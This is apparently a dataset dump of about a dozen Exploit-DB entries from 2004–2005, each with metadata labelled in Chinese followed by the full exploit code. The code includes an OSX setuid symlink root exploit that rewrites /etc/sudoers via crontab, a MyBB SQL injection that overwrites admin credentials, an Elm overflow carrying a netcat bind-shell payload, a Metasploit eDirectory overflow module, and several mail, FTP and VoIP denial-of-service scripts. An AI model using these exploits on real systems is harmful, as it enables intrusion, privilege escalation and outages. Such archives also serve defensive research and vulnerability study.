QLWD/code_shield huggingface dataset:
标题: Adobe Version Cue 1.0/1.0.1 (OSX) - Local Privilege Escalation EDB-ID: 1185 CVE: 2005-1842 类型: LOCAL 平台: OSX 发布日期: 2005-08-30 漏洞利用脚本: #!/usr/bin/perl
#
# Adobe Version Cue VCNative[OSX]: local root exploit.
# 
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
# 
# Adobe Version Cue's VCNative program writes data to a log file in
# the current working directory while running as (setuid) root. the
# logfile is formated as <cwd>/VCNative-<pid>.log, which is easily
# predictable. you may link this file to any file on the system
# and overwrite its contents. use of the "-host" option (with
# "-port") will allow user-supplied data to be injected into the
# file.
#
# This exploit works by overwriting /etc/crontab with
# '* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers' and
# log garbage. within a short period of time crontab will overwrite
# /etc/sudoers and "sudo sh" to root is possible. this method is used
# because direct overwriting of /etc/sudoers will cause sudo to exit
# with configuration errors due to the log garbage, whereas crontab
# will ignore it. (this exploit requires both cron to be running and
# sudo to exist--this is generally default osx)

use POSIX;

$vcn_path="/Applications/Adobe Version Cue/tomcat/webapps/ROOT/" .
"WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative";
$vcn_pid=($$ + 1);
$vcn_cwd="/tmp";
$vcn_tempfile="$vcn_cwd/VCNative-$vcn_pid\.log";
$ovrfile="/etc/crontab";
$ovrstr="* * * * * root echo \\\"ALL ALL=(ALL) ALL\\\">/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] Adobe Version Cue VCNative[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
if(!-f $vcn_path){
pexit("VCNative binary doesn't appear to exist");
}
if(!-f"/etc/crontab"||!-f"/etc/sudoers"){
pexit("/etc/crontab and /etc/sudoers are required for this to work");
}
print("[*] sym-linking $ovrfile -> $vcn_tempfile.\n");
symlink($ovrfile,$vcn_tempfile)||pexit("couldn't link files.");
@ast=stat($ovrfile);
print("[*] running VCNative...\n");
system("\"$vcn_path\" -cwd $vcn_cwd -port 1 -host \"\n\n$ovrstr\n\n\"");
print("[*] removing $vcn_tempfile...\n");
unlink($vcn_tempfile);
@st=stat($ovrfile);
if($st[7]==$ast[7]&&$st[9]==$ast[9]){
pexit("$ovrfile was not modified, exploit failed");
}
else{
print("[*] $ovrfile was overwritten successfully...\n");
}
print("[*] waiting for crontab to change /etc/sudoers...\n");
@ast=@st=stat("/etc/sudoers");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
sleep(1);
@ast=stat("/etc/sudoers");
}
print("[*] /etc/sudoers has been modified.\n");
print("[*] attempting to \"sudo sh\". (use YOUR password)\n");
system("sudo sh");
exit(0);

# milw0rm.com [2005-08-30] URL: https://www.exploit-db.com/exploits/1185
标题: MyBulletinBoard (MyBB) 1.00 RC4 - 'search.php' SQL Injection EDB-ID: 1172 CVE: 2005-2697 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-22 漏洞利用脚本: # mybb is dead /str0ke

#!/usr/bin/perl
######################################################################################
#                              Crouz.Com Security Team                               #
######################################################################################
#    EXPLOIT FOR: MyBulletinBoard Search.PHP SQL Injection Vulnerability             #
#                                                                                    #
#Expl0it By: A l p h a _ P r o g r a m m e r (sirius)                                #
#Email: Alpha_Programmer@LinuxMail.ORG                                               #
#                                                                                    #
#This Xpl Change Admin's Pass For L0gin With P0wer User                              #
#                                                                                    #
#HACKERS PAL & Devil-00 & ABDUCTER are credited with the discovery of this vuln      #
#                                                                                    #
######################################################################################
# GR33tz T0 ==>  mh_p0rtal  --  Dr-CephaleX  --  The-Cephexin  -- Djay_Agoustinno    #
#               No_Face_King --  Behzad185 -- Autumn_Love6(Hey Man You Are Singular) #
#                                                                                    #
#   Special Lamerz : Hoormazd  &  imm02tal  :P  ++ xshabgardx                        #
######################################################################################

use IO::Socket;

if (@ARGV < 2)
{
  print "\n==========================================\n";
  print " \n     -- Exploit By Alpha Programmer(sirius) --\n\n";
  print "              Crouz Security Team      \n\n";
  print "         Usage: <T4rg3t> <DIR>\n\n"; 
  print "==========================================\n\n";
  print "Examples:\n\n";
  print "    Mybb.pl www.Site.com /mybb/ \n";
  exit();

}
my $host = $ARGV[0];
my $dir = $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "80" );
unless ($remote) { die "C4nn0t C0nn3ct to $host" }
print "C0nn3cted\n";
$http = "GET $dir/search.php?action=finduser&uid=-1' ; update mybb_users set username='da05581c9137f901f4fa4da5a958c273' , password='da05581c9137f901f4fa4da5a958c273' where usergroup=4 and uid=1 HTTP/1.0\n";
$http .= "Host: $host\n\n\n\n";
print "\n";
print $remote $http;
print "Wait For Changing Password ...\n";
sleep(10);
print "OK , Now Login With :\n";
print "Username: crouz\n";
print "Password: crouz\n\n";
print "Enjoy ;)\n\n";

# milw0rm.com [2005-08-22] URL: https://www.exploit-db.com/exploits/1172
标题: Inframail Advantage Server Edition 6.0 < 6.37 - 'SMTP' Buffer Overflow EDB-ID: 1165 CVE: 2005-2085 类型: DOS 平台: WINDOWS 发布日期: 2005-06-27 漏洞利用脚本: #===== Start Inframail_SMTPOverflow.pl =====
#
# Usage: Inframail_SMTPOverflow.pl <ip>
#        Inframail_SMTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
#########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Inframail SMTP server at $ARGV[0]:25...";

        sleep(1);

        print $socket "HELO moto.com\r\n";

        sleep(1);

        print $socket "MAIL FROM:" . "A" x 40960 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== End Inframail_SMTPOverflow.pl =====

# milw0rm.com [2005-06-27] URL: https://www.exploit-db.com/exploits/1165
标题: Inframail Advantage Server Edition 6.0 < 6.37 - 'FTP' Buffer Overflow EDB-ID: 1166 CVE: 2005-2085 类型: DOS 平台: WINDOWS 发布日期: 2005-06-27 漏洞利用脚本: #===== Start Inframail_FTPOverflow.pl =====
#
# Usage: Inframail_FTPOverflow.pl <ip>
#        Inframail_FTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
#########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Inframail FTP server at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER hello\r\n";

        sleep(1);

        print $socket "PASS moto\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End Inframail_FTPOverflow.pl =====

# milw0rm.com [2005-06-27] URL: https://www.exploit-db.com/exploits/1166
标题: BusinessMail Server 4.60.00 - Remote Buffer Overflow EDB-ID: 1164 CVE: 2005-2472 类型: DOS 平台: WINDOWS 发布日期: 2005-07-30 漏洞利用脚本: #===== Start BusMail_SMTPDOS.pl =====
#
# Usage: BusMail_SMTPDOS.pl <ip>
#        BusMail_SMTPDOS.pl 127.0.0.1
#
# BusinessMail email server system 4.60.00
#
# Download:
# http://www.netcplus.com/
#
##########################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill BusinessMail SMTP server at $ARGV[0]:25...\n";

        sleep(1);

        print $socket "HELO " . "A" x 512 . "\r\n";

        sleep(1);

        print $socket "MAIL FROM:" . "A" x 512 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== Start BusMail_SMTPDOS.pl =====

# milw0rm.com [2005-07-30] URL: https://www.exploit-db.com/exploits/1164
标题: Elm < 2.5.8 - Expires Header Remote Buffer Overflow EDB-ID: 1171 CVE: 2005-2665 类型: REMOTE 平台: LINUX 发布日期: 2005-08-22 漏洞利用脚本: /*

  Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com)
  http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html

  Probably you will need to change SYSLOC and STRLOC to work on your box

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 83
#define EMAIL  "tmpmail"
#define STRING "`nc -l -p 12345 -e /bin/sh`&##"
#define SYSLOC 0x42041e50
#define STRLOC 0x4001a207
#define EXTLOC 0x4202b0f0

char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";

int main(int argc, char **argv)
{
      char buffer[BUFFER];
      char *email = NULL;
      char *user = NULL;
      int i;
      long extloc, sysloc, strloc;
      FILE *fp;

      if(argc != 2) {
        puts("Usage: ./elmex <user@where.com>");
        exit(EXIT_FAILURE);
      }

      if(strlen(argv[1]) > 50) {
              puts("[-] Sorry, email address too long!");
              exit(EXIT_FAILURE);
      }

      user = (char *)malloc(strlen(argv[1]));
      if(!user) {
              perror("malloc");
              exit(EXIT_FAILURE);
      }

      email = EMAIL;

      memset(user, '\0', strlen(argv[1]));
      memcpy(user, argv[1], strlen(argv[1]));

      puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
      puts("Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n");

      extloc = EXTLOC;
      sysloc = SYSLOC;
      strloc = STRLOC;

      memset(buffer, '\0', BUFFER);
      memcpy(buffer, expire, strlen(expire));

      for(i = strlen(expire); i < 53; i++)
              *(buffer+i) = 0x41;
      for(i = 53; i < 57; i += 4)
              *(long *)&buffer[i] = sysloc;
      for(i = 57; i < 61; i++)
              *(long *)&buffer[i] = extloc;
      for(i = 61; i < 65; i += 4)
              *(long *)&buffer[i] = strloc;

      memcpy(&buffer[65], STRING, strlen(STRING));
      buffer[BUFFER] = '\0';

      puts("[-] Adding exploit buffer to email");

      fp = fopen(email, "w");
      if(!fp) {
              perror("fopen"); free(user);
              exit(EXIT_FAILURE);
      }

      fprintf(fp,
               "From: User c0ntex <c0ntex@open-security.org> Sun Aug 21 13:37:00 2005\n"
               "Return-Path: <c0ntex@localhost\n"
               "Date: Sun, 21 Aug 2005 13:37:00 %s\n"
               "Subject: Insecure?\n"
               "To: %s\n"
               "%s\n", STRING, user, buffer);
      fclose(fp);

      printf("[-] Emailing %s with malicious content\n", argv[1]);

      if(system("/bin/cat ./tmpmail | /usr/sbin/sendmail -t") <0) {
              perror("system");  free(user);
              exit(EXIT_FAILURE);
      }

      puts("[-] Connect to system on port 12345 to get your shell\n");

      if(unlink(EMAIL) <0)
              perror("unlink");

      free(user);

      return EXIT_SUCCESS;
}

// milw0rm.com [2005-08-22] URL: https://www.exploit-db.com/exploits/1171
标题: BakBone NetVault 7.1 - Local Privilege Escalation EDB-ID: 1161 CVE: 2005-1372 类型: LOCAL 平台: WINDOWS 发布日期: 2005-04-27 漏洞利用脚本: // ===== Start UnhideNetVaultServiceWindow.c ======
#include <stdio.h>
#include <windows.h>

int main( void )
{
 HWND hWnd;
 char szWindowName[] = "C:\\Program Files\\BakBone Software\\NetVault\\bin\\nvstatsmngr.exe";

 printf( "Finding window %s\n", szWindowName );

 hWnd = FindWindow( NULL, szWindowName );

 if ( hWnd == NULL )
 {
  printf( "ERROR! Could not find window %s\n", szWindowName );
 
  exit( 1 );
 }

 ShowWindow( hWnd, SW_SHOW );

 return 0;
}
// ===== End UnhideNetVaultServiceWindow.c ======

/*
1. The C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe window will
   appear. Access the window menu in the upper left and click Properties.

2. Right click on the word Window under the Display Options and click What's This?

3. Right click on the help text that is shown in yellow and click Print Topic.

4. Right click on any printer and click Open.

5. Click Help, Help Topics.

6. Right click in the right side of the help screen and click View Source.

7. Notepad will appear (running under the context of the LocalSystem account).
   Click File, click Open.

8. Change Files of type: to All Files, navigate to the system32 directory and
   locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the LocalSystem
account.

*/

// milw0rm.com [2005-04-27] URL: https://www.exploit-db.com/exploits/1161
标题: Ipswitch WS_FTP Server 5.03 - 'RNFR' Buffer Overflow EDB-ID: 1158 CVE: 2001-1021 类型: DOS 平台: WINDOWS 发布日期: 2004-11-29 漏洞利用脚本: #===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass>
#        WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
######################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER $ARGV[1]\r\n";

        sleep(1);

        print $socket "PASS $ARGV[2]\r\n";

        sleep(1);

        print $socket "PORT 127,0,0,1,18,12\r\n";

        sleep(1);

        print $socket "RNFR " . "A" x 768 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End WS_FTP_Overflow.pl =====

# milw0rm.com [2004-11-29] URL: https://www.exploit-db.com/exploits/1158
标题: GoodTech SMTP Server 5.14 - Denial of Service EDB-ID: 1162 CVE: 2005-1931 类型: DOS 平台: WINDOWS 发布日期: 2005-06-07 漏洞利用脚本: #===== Start GoodTechSMTPServer_DOS.pl =====
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
#        GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
##########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";

        sleep(1);

        print $socket "HELO moto.com\r\n";

        sleep(1);

        print $socket "RCPT TO: A\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== End GoodTechSMTPServer_DOS.pl =====

# milw0rm.com [2005-06-07] URL: https://www.exploit-db.com/exploits/1162
标题: Novell eDirectory 8.7.3 - iMonitor Remote Stack Overflow (Metasploit) EDB-ID: 1152 CVE: 2005-2551 类型: REMOTE 平台: WINDOWS 发布日期: 2005-08-12 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::edirectory_imonitor;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
  {
 'Name'    => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
 'Version' => '$Revision: 1.2 $',
 'Authors' => [ 'anonymous' ],
   
 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
 'Priv'  => 1,

 'AutoOpts'  =>  { 'EXITFUNC' => 'thread' },

 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 8008 ],
  'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
   },

 'Payload' =>
   {
  'Space'     => 0x1036,
  'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%",
  'Keys'      => ['+ws2ord'],
   },

 'Description'  => Pex::Text::Freeform(qq{
  This module exploits a stack overflow in eDirectory 8.7.3 iMonitor
 service. This vulnerability was discovered by Peter Winter-Smith of 
 NGSSoftware.

}),

 'Refs'  =>
   [
    ['OSVDB', '18703'],
  ['CVE',   '2005-2551'],
  ['BID',   '14548'],
   ],

 'Targets' =>
   [
  [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', 0x63501f15] # pop/pop/ret
   ],

 'Keys'  => ['imonitor'],
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self        = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];

 $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

 my $s = Msf::Socket::Tcp->new(
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'SSL'      => $self->GetVar('SSL'),
   );

 if ( $s->IsError ) {
  $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  return;
 }

 # pop/pop/ret in ndsimon.dlm on our jump to our shellcode
 my $req = $shellcode . "\x90\x90\xeb\x04" . pack('V', $target->[1]) . "\xe9\xbd\xef\xff\xff" . ("B" x 0xD0);
 my $request =
   "GET /nds/$req HTTP/1.1\r\n".
   "Accept: */*\r\n".
   "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
   "Host: $target_host:$target_port\r\n".
   "Connection: Close\r\n".
   "\r\n";

 $s->Send($request);

 $self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
 select(undef, undef, undef, 4);

 $self->Handler($s);
 return;
}

1;

# milw0rm.com [2005-08-12] URL: https://www.exploit-db.com/exploits/1152
标题: IA eMailServer Corporate Edition 5.2.2 - Denial of Service EDB-ID: 1163 CVE: 2005-2083 类型: DOS 平台: WINDOWS 发布日期: 2005-06-26 漏洞利用脚本: #===== Start IAeMailServer_DOS.pl =====
#
# Usage: IAeMailServer_DOS.pl <ip>
#        IAeMailServer_DOS.pl 127.0.0.1
#
# True North Software, Inc. IA eMailServer Corporate Edition
# Version: 5.2.2. Build: 1051.
#
# Download:
# http://www.tnsoft.com/
#
############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "143",
                                    Proto    => "TCP"))
{
        print "Attempting to kill IA eMailServer at $ARGV[0]:143...";

        sleep(1);

        print $socket "0000 LOGIN hello moto\r\n";

        sleep(1);

        print $socket "0001 LIST 1 \%x\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:143\n";
}
#===== End IAeMailServer_DOS.pl =====

# milw0rm.com [2005-06-26] URL: https://www.exploit-db.com/exploits/1163
标题: Grandstream Budge Tone 101/102 VOIP Phone - Denial of Service EDB-ID: 1153 CVE: 2005-2581 类型: DOS 平台: HARDWARE 发布日期: 2005-08-12 漏洞利用脚本: #!/usr/bin/perl
#
use IO::Socket;
use Term::ANSIColor;

############################ U S A G E ###################################
system ("clear");
print "\nGrandstream BT101/BT102 DoS\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";

if (!$ARGV[2]){
print qq~
Usage: perl grandstream-DoS.pl -s <ip-addr> <udp-port> {-r/-s}

 <ip-addr>  = ;-)
 <udp-port> = 5060

 -r = 'reboot'  the Grandstream BT 101/102
 -s = 'shutdown' the Grandstream BT 101/102

~; exit;}
################################## D E F I N I T I O N S####################

$victim = $ARGV[0];
$port = $ARGV[1];
$option = $ARGV[2];

if ( $option == 'r' || $option == 'R' )
{ $request= 'k'x65534;}

if ( $option == 's' || $option == 'S' )
{ $request= 'p'x65535;}
else
{ print "Wrong parameter - try it again";
 exit;
}


# ping the remote device
print color 'bold blue';
print "\nping the remote device $victim\n";
print color 'reset';
system("ping -c 3 $victim");

print color 'bold red';
print "\n Wait ... \n\n\n";
print color 'reset';
$sox = IO::Socket::INET->new(Proto=>"udp",PeerPort=>"$port",PeerAddr=>"$victim");

print $sox $request;
sleep 1;
close $sox;

# ping the remote device
print color 'bold blue';
print "ping the remote device $victim again\n";
print color 'reset';
system("ping -c 3 $victim");

# milw0rm.com [2005-08-12] URL: https://www.exploit-db.com/exploits/1153
标题: Mercury/32 Mail Server 4.01a - 'check' Buffer Overflow EDB-ID: 1159 CVE: 2004-2513 2004-1211 类型: DOS 平台: WINDOWS 发布日期: 2004-12-01 漏洞利用脚本: #===== Start Mercury32_Overflow.pl =====
#
# Usage: Mercury32_Overflow.pl <ip> <imap4 user> <imap4 pass>
#        Mercury32_Overflow.pl 127.0.0.1 hello moto
#
# Mercury/32, v4.01a, Dec 8 2003
#
# Download:
# http://www.pmail.com/
#
#############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "143",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";

        sleep(1);

        print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";

        sleep(1);

        print $socket "0001 CHECK " . "A" x 512 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:143\n";
}
#===== End Mercury32_Overflow.pl =====

# milw0rm.com [2004-12-01] URL: https://www.exploit-db.com/exploits/1159